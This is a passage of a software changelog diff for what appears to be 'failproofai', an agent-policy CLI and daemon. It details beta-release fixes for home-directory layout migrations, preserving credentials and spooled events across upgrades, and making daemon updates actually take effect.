available` and a thirty-line unit file to paste by hand, leaving `sudo -v` first (undocumented) or `failproofai config` (an interactive wizard) as the only working routes — which is not an upgrade path. Gated on a TTY rather than attempted blindly: on a CI runner or a fleet box there is nobody to type a password and `sudo -v` would block on a prompt nothing answers, so those runs still fall through to `sudo -n` and get the exact commands, which is the right outcome for an unattended machine. (#663) + - Remove `policies/custom-policies/` when a subdirectory had to MERGE rather than move whole. `migrateConventionPolicies()`'s recursive `mergeInto()` drains a colliding child directory but never removed the emptied husk, so the final `rmdirSync` threw `ENOTEMPTY` into a swallowing `catch` and `custom-policies/` survived the migration that had just completed — permanently, since the next run recurses into the same empty child and fails identically. Only reachable when the destination already has a directory of the same name, which is why every existing test missed it: they all moved `lib/` wholesale through a single rename. The husk is still kept when a genuine leaf collision left a file behind, because that remainder is the user's own hand-written source and is the one thing this function must never delete. (#663) + - Read a `desired-state.json` written before the deployment/version rename, and pin the WIRE to the current schema version. The rename removed the `generation`/`revision` aliases from `DesiredState`/`DesiredPolicy` on the grounds that those types decode a remote payload from a server we version in lockstep — right about the wire, and incomplete about the FILE: `read_desired()` deserializes `desired-state.json` off disk into the same types, and that file is written by a daemon which may be older than the one now reading it, exactly like `active.json`, which is why *that* struct kept its aliases. `SUPPORTED_SCHEMA_VERSIONS` even names `desired-state.json` as a version-1 file on disk in its own comment. So one type was decoding bytes from two different writers, and the strictness the wire needs made the disk read fail — not on the unknown `generation` key, which is ignored, but on `deployment` being missing. `repair_active_from_cache()` swallows that, so with `active.json` also gone or corrupt **while offline** it returned without rebuilding and cloud policy stopped being enforced until a poll succeeded, on a machine with no way to poll. Fixed with a type per writer rather than one lenient type: the wire keeps its hard edge, and a disk-only legacy representation converts the old spelling on read. The wire end is now pinned to the current schema version explicitly, checked BEFORE the fields are decoded — decoding first also rejects a v1 payload, but on the wrong grounds ("missing field `deployment`" sends an operator hunting a malformed payload instead of a stale server), so the error now names both versions and says which half to upgrade. The HTTP fixture in the existing test declared `schemaVersion: 1` while using the v2 field names — a payload no server produces — and nothing noticed, which is itself the evidence this end was unchecked. (#663) ## 1.0.0-beta.17 — 2026-08-10 @@ -112,7 +187,9 @@ never "blocked". ### Fixes - Record the daemon version after `failproofai update`, so the skew clears. `installDaemonService()` deliberately does not write `VERSION.daemon` — only the wizard did, because that is where "this machine is configured, at this version" is decided — so a successful refresh left the new binary running while the file still named the old one. `daemonVersionSkew()` reads that file, so every later CLI command kept nudging about a stale daemon that had just been replaced, and the wizard's own skew check would have torn down and rebuilt a perfectly current service. Written with `writeVersionFile` rather than `setDaemonConfigured(true, …)`, which would also flip `daemon.configured`: an update refreshes what is installed and must not decide whether the machine requires it. (#663) + - Make `failproofai update` actually update the daemon. It fetched the matching binary and then rewrote the unit through `upgradedServiceDefinition`, which **preserves the existing `ExecStart`** by design — its job is the unit's shape, not which binary runs — so the new binary landed, the service restarted, and the OLD binary came back up, under a message saying the daemon had been refreshed. Worse than not having the command, because it reported success. It delegates to `installDaemonService()` now: the path that resolves this version's binary, writes the unit around that path, and uses `restart` rather than `enable --now` precisely so a live daemon is replaced instead of left running. A failure surfaces as one rather than being reported as a refresh, since on a machine configured to require the daemon the difference is a known-stale collector versus a silent one. Found while working out what to tell customers to run on upgrade — a beta.12 machine would have kept a beta.12 daemon reading a layout-3 home, which stops collection and cloud-policy reconciliation without saying so. (#663) + - Stop `failproofai migrate --dry-run` listing a file twice. `legacy.policyConfig()` and `globalPolicyConfigFile()` are the SAME path — layout 3 put the policy config back exactly where layout 1 kept it — so any caller walking both lists sees it once per list. `backupBeforeMigrating` deduped; `describePlan` built the same list again and did not, so the dry run printed `policies-config.json` twice while the backup correctly wrote it once. Seen on a real layout-1 machine, in the one command whose entire job is to state accurately what is about to happen. Both call sites now share a single walk rather than the second copy being patched, which is the same "state it once, derive the rest" move `resettablePaths()` makes over `HOME_CLASSES`; a test pins the dry run's list against what the backup actually writes, so the two cannot disagree again. (#663) ## 1.0.0-beta.16 — 2026-08-10 @@ -124,12 +201,19 @@ never "blocked". ### Fixes - Carry every key of a layout-2 policy config, not the eight the old allowlist knew. `readCarriedPolicyConfig` filtered the nested `policies/local-policies/policies-config.json` down to a named list, so anything outside it was dropped — including a key a newer build had written into a layout-2 file. That is the same loss the `config.json` round-trip fix addresses, arriving by a third door, and it was caught by a smoke test on a seeded home: a `futureKey` was simply gone after the migration, silently. The carry now preserves every key and deletes only the retired ones, which is the rule the rest of this work follows — unowned keys survive, dead ones go. `collector` is still removed, because it is camelCase and layout 2 moved those settings to `config.json` in snake_case, so leaving it reads as a preserved setting and behaves like an absent one. (#663) + - Stop `failproofai migrate --dry-run` reporting "nothing to migrate" on every stale machine. The automatic layout check at the CLI entry point runs ahead of every command that is not `--help` or `--version`, so by the time the subcommand looked, the home had already been migrated — which is the one answer a dry run must never give wrongly. `migrate` and `update` are exempt from that check and run the migration themselves. Only a smoke test on a seeded layout-2 home could catch this; nothing below the CLI entry point can see the ordering. (#663) + - Make `failproofaid` refuse to start against a home written by a layout it does not speak. Every path in `paths.rs` is correct for exactly one layout, and the daemon never read the marker saying which one is on disk — so a daemon whose version had drifted from the CLI's happily read and wrote layout-3 paths in a layout-4 home. That is the failure `fp-home.ts` exists to prevent: the daemon writes where nothing reads, silently, because an absent directory is indistinguishable from an idle one. The skew is routine rather than exotic — `npm i -g` replaces the CLI while the binary under `~/.failproofai/bin/failproofaid-` stays exactly where it was, which is the whole reason `daemonVersionSkew()` exists on the CLI side. The daemon now reads `VERSION` before it takes the singleton lock or binds its socket, and exits non-zero naming the layout it found and the remedy — which differs by direction, since an older home is one the CLI is about to migrate while a newer one means the daemon is the stale half. Both `VERSION` formats parse (layout 2 wrote TOML, layout 3 writes JSON), because refusing to start on a home that is merely *old* is exactly the case the CLI is about to fix and reporting the wrong remedy for the commonest upgrade there is would be worse than not checking. A home with **no** marker starts normally: a fresh one has none until the first CLI command stamps it, and refusing there would break the install itself. Only the layout number is compared — a CLI newer than its daemon is an ordinary state between an `npm i -g` and the next update, and taking a working machine down over a condition that resolves itself is not an improvement. The existing cross-language parity test now also asserts the Rust and TypeScript `LAYOUT_VERSION` constants agree, since the two disagreeing would make the daemon refuse a home the CLI considers current. (#663) + - Carry the layout-1 `cloud.json` and `ingest.json` credentials too, which is the upgrade real users will actually run. The published `latest` npm tag is still a pre-daemon 0.0.x release, so "install the current stable, then upgrade" is a **layout-1** → 3 migration — and layout 1 kept its credentials in two JSON files with a camelCase `machineId`, both on the retired list with nothing carrying them. So the same "machine silently off the fleet" failure fixed for layout 2 was still live on the more common path: the cloud token and the ingest key were both deleted, and the machine kept enforcing whatever it last had while reporting healthy. Verified against the real thing rather than a fixture: a container installs the published `failproofai@latest` (0.0.15), lets it write a genuine layout-1 home, upgrades to this build, and the token, ingest key, machine id, policy selection, hand-written policy file and decision log all survive — with the layout stamped 3, the step recorded in the ledger, and a backup taken. The layout-2 TOML still wins when a home somehow holds both, since it is the newer answer; an unreadable TOML falls through to layout 1 rather than returning early, because a corrupt newer file is not evidence that an older one is absent. (#663) + - Carry the layout-2 `config.toml` and `credentials.toml` across the upgrade to layout 3. Both files are on the retired list and **nothing carried them**, so a 2 → 3 upgrade deleted the cloud token and the ingest key outright, along with `daemon.configured` and `mode`. That is a machine silently off the fleet: it keeps enforcing whatever it last had, keeps reporting healthy, never reconciles cloud-managed policy again, and delivers nothing it spools — with no operator action that caused it and no message that said so. `HOME_CLASSES` stops this happening from layout 3 onward, but 2 → 3 is the upgrade that actually exists to be run. Only the telemetry opt-out was rescued before, on the grounds that the rest is "re-derived by setup or a thing the wizard re-asks" — true of a machine whose owner is about to re-run setup, and false of every other one: losing `daemon.configured` silently downgrades a machine from fail-closed enforcement to the in-process path, and losing `mode` disconnects it. The carry parses the TOML subset layout 2's own two writers emitted (`[table]` / `[dotted.table]` headers and `key = ` lines where every value went through `JSON.stringify`, so `JSON.parse` on the right-hand side is exact rather than approximate — no `toml` dependency comes back, which was half the point of layout 3), then runs the **same** `projectConfig` / `projectCredentials` projections the JSON readers use rather than a second reader that would have to be kept in step; the two formats already share their key names, so the only thing that differed was how bytes become an object. A malformed line is skipped rather than costing the user the whole file, a `[cloud]` table with no token is not written at all (a credentials file that looks present and authenticates nothing is worse than none), and the telemetry opt-out is applied last so a carried `enabled: true` — the shipped default, which is nobody's choice — cannot revoke it. (#663) + - Deliver what is already spooled immediately after a layout migration, so a machine that has just been upgraded does not sit on a backlog for a collector cycle while somebody watches a dashboard. The ordering is the subtlety, and the intuitive one is wrong: flushing *before* the migration cannot work, because `readConfig()` reads `config.json` and the ingest credential comes from `credentials.json` — both layout-3 files a stale home does not have — so it would find no credential on every machine it ever ran on, refuse, and report nothing pending. Running it after the carry above means both files exist. This is a convenience rather than the protection: the spool is `undelivered` in `HOME_CLASSES` and survives regardless, which is what matters, because `cursors/` survives too and the watermark has already advanced past every batch in it. Best-effort by construction — collection off, no credential, an unsupported platform or no daemon listening are all ordinary rather than errors, and a flush that throws cannot fail a migration. A backlog that survives anyway is named in the output rather than left silent, since "safe" and "delivered" are different states and only one of them shows up on a dashboard. (#663) + - Stop a layout upgrade deleting the cloud enrolment, the machine's settings, its undelivered events and its telemetry identity. Every path in `~/.failproofai` now declares what it HOLDS — `user-typed`, `undelivered`, `identity`, `derived`, `refetchable` or `ephemeral` — and the reset list is DERIVED from that rather than hand-maintained beside it. The rule: derived and re-fetchable may be dropped; anything a person typed, anything not yet delivered, and anything that identifies the machine is carried. Five paths stop being deleted as a result, each a real loss. `credentials.json` held the cloud token, so an upgrade dropped the machine out of cloud-managed policy silently — it kept enforcing whatever it last had, reported healthy, and never reconciled again. `config.json` held `daemon.configured` (the flag that makes a machine fail closed), the collector preferences, `[audit] auto` and every `extra_paths` a user typed. `state/spool`, `state/failed` and `custom-agents/` held events already read out of transcripts and queued for upload — and losing those is PERMANENT rather than slow, because `cursors/` deliberately survives so the watermark has already advanced past them and nothing will ever read that range again; the SDK spool is the same story. `state/telemetry-id` is how the CLI and the daemon agree on one PostHog person. `state/` was the sharpest of them: listing that parent is exactly how a reset came to take the spool and the identity along with a dozen scratch files, so its children are classified individually and the parent is not listed at all — anything under it this table has not been taught about now survives instead of being swept up. Because the policy selection, the settings and the enrolment all survive, a migrated machine is configured in fact and not merely in appearance, so the migration no longer forces an interactive `failproofai config` afterwards — which on a fleet box, a CI runner or a headless gateway is a prompt with nobody to answer it. A home that genuinely never finished setup still reaches the wizard by the ordinary route, because `isConfigured()` is false for it. The forgetting direction is inverted too: a path absent from the table is not deleted, so an oversight now leaves a stale file — loud and recoverable — instead of a deleted token. A test enumerates this module's own exports and fails on any path that is neither classified nor covered by a classified parent, which is the same shape as the two other cross-list guards in this repo. (#663) + - Stop `config.json` and `credentials.json` losing keys this build does not recognise. Both readers are whitelist projections — they name every key they understand and build a fresh object — and both writers regenerated the file wholesale from that projection, so any unrecognised key was erased on the next write. No layout change is involved: two CLI versions on the SAME layout round-trip these files and silently delete each other's keys, and most releases do not bump the layout, so `detectLayout()`'s newer-layout refusal never fires to protect them. `collector.sources..extra_paths` is the live case — added inside layout 3, so a CLI predating it drops every extra path a user typed on the first `updateConfig()` call, which is the entire output of `failproofai harness add-path`, and an absent capture root is indistinguishable from an idle one. `org` is the same story on the credentials side: its own doc records that it is absent in files written by an older CLI, which is precisely a key such a CLI deletes on write, taking the only local answer to "where does this machine's data go?" with it. Both writers now start from the previous bytes, strip only the keys they own, and lay the projection on top. Ownership has to run in both directions, and the second half is what makes it safe: an owned key ABSENT from the projection is a deliberate omission and is deleted, because these writers use absence to express state — `telemetry` is emitted only when switched off, `machine_id` only when set, `sources` only when non-empty — so a blind merge would resurrect them and a telemetry opt-out could never be revoked. `collector.sources` is keyed by harness name and therefore owned through a wildcard rather than wholesale, or a future per-harness sibling of `extra_paths` would be the same loss one level down. Emptied containers are pruned, so a machine that configured nothing still gets a file with no `telemetry` and no `sources` key at all. (#663) ### Docs @@ -141,8 +225,11 @@ never "blocked". ### Fixes - Remove an unused local in `readCarriedPolicyConfig()` (`src/hooks/fp-reset.ts`) left over from splitting the read/write phases of the layout-1→3 policy-config carry apart; the write target it computed belongs to the paired `writeCarriedPolicyConfig()` a few lines down. (#663) + - Remove `ino.ujh3/`, a test-sandbox directory (bun's install-cache `.pile` blobs and a fake `~/.failproofai` `VERSION`/state) accidentally committed alongside the layout-3 migration in `587d0567`. Nothing in the codebase referenced the path. (#663) + - Ignore bun's install-cache blobs and this CLI's own runtime state (`bin/`, `run/`, `state/`) wherever they appear, so a future smoke test whose `HOME` lands inside the repo can't recommit the class of file `ino.ujh3/` was. Scoped to leave the repo's own dogfood `/.failproofai/` (`policies-config.json`, `policies/`) untouched. (#663) + - Remove an unused `dirname` import in `__tests__/hooks/fp-reset.test.ts`, the other `noUnusedLocals` violation this branch was carrying (see #666). (#663) ## 1.0.0-beta.15 — 2026-08-09 @@ -163,58 +250,97 @@ never "blocked". ### Features - Reorganise `~/.failproofai` into layout 3, which changes three things about what a directory means. **Everything is JSON.** `config.toml` and `credentials.toml` become `config.json` and `credentials.json`, so one home has one parser and one escaping rule instead of two, and neither the CLI nor the daemon carries a TOML dependency to read files that were only ever flat key/value. **`policies/` holds policies, and only policies.** It also held `local-policies/` — our configuration, not a policy at all, which put the one file a user must never hand-edit among the ones they are told to drop in; that moves to `policies-config.json` at the home root. What stays is every policy on the machine: the user's own `*.mjs` directly in `policies/`, the fleet's under `policies/cloud-policies/`, so one directory answers "what governs this machine". Nesting them is safe because the convention loader does not recurse — `discoverPolicyFiles()` and `findSkippedPolicyFiles()` both filter `isFile()` — and that is now asserted against a real directory rather than assumed, because if either ever walks subdirectories then every cloud artifact becomes a convention policy loaded with NO digest check, which is the one thing `cloud-managed-policies.ts` exists to prevent. **Cloud deployments are flat.** `cloud-policies/generations//` kept a full copy of every artifact per deployment — a tree to create, prune and keep consistent with a per-deployment manifest, on top of the content-addressed `artifacts/` copy that already makes them immutable — so the copies bought nothing the digests did not. What remains is one `artifacts/` directory and an `active.json` naming what is live; activation is still atomic because it was always the manifest flip, never the file copy. The cost is stated where it is paid: a tampered artifact can no longer be rebuilt from the second on-disk copy, so an offline machine loses that policy until it can re-fetch. The safety property is unchanged either way — the hook path verifies every digest immediately before import, so tampered bytes are refused rather than run. (#663) + - Add `failproofai flush` — deliver what is already spooled, now. The collector is unhurried on purpose (a batch is swept once it is older than two minutes, at most 64 per pass, on a 60-second cadence), which is right for a backlog and exactly wrong for somebody standing at a dashboard waiting to see their own events: from there "not delivered yet" and "not working" look identical. The command asks the daemon for a pass with no minimum age and no cap, and `--wait` waits until the spool drains or its timeout expires, so a script can flush and then assert. It re-sends nothing — for history the collector already read past, that is still `backfill`. (#663) + - Rename the cloud-policy vocabulary: a **generation** is now a **deployment**, and a policy **revision** is a **version**. Both were words the product used nowhere else — a customer reads "deployment 7" and "version 3" without a glossary. The rename goes through the wire format and the on-disk manifest, not just the labels, and lands with the matching AgentEye change: a server and a daemon that disagree on these names means the fleet stops reconciling, silently. (#663) + - Capture sessions from more than one location per agent CLI. Every source watched exactly the place its own installer puts it — `~/.claude/projects`, `~/.hermes/state.db` — which is right for one machine and wrong for every other arrangement: a second profile, a mounted team share, a container's home beside the host's, an agent an operator relocated. Those hold real sessions and nothing collected them. `failproofai harness add-path [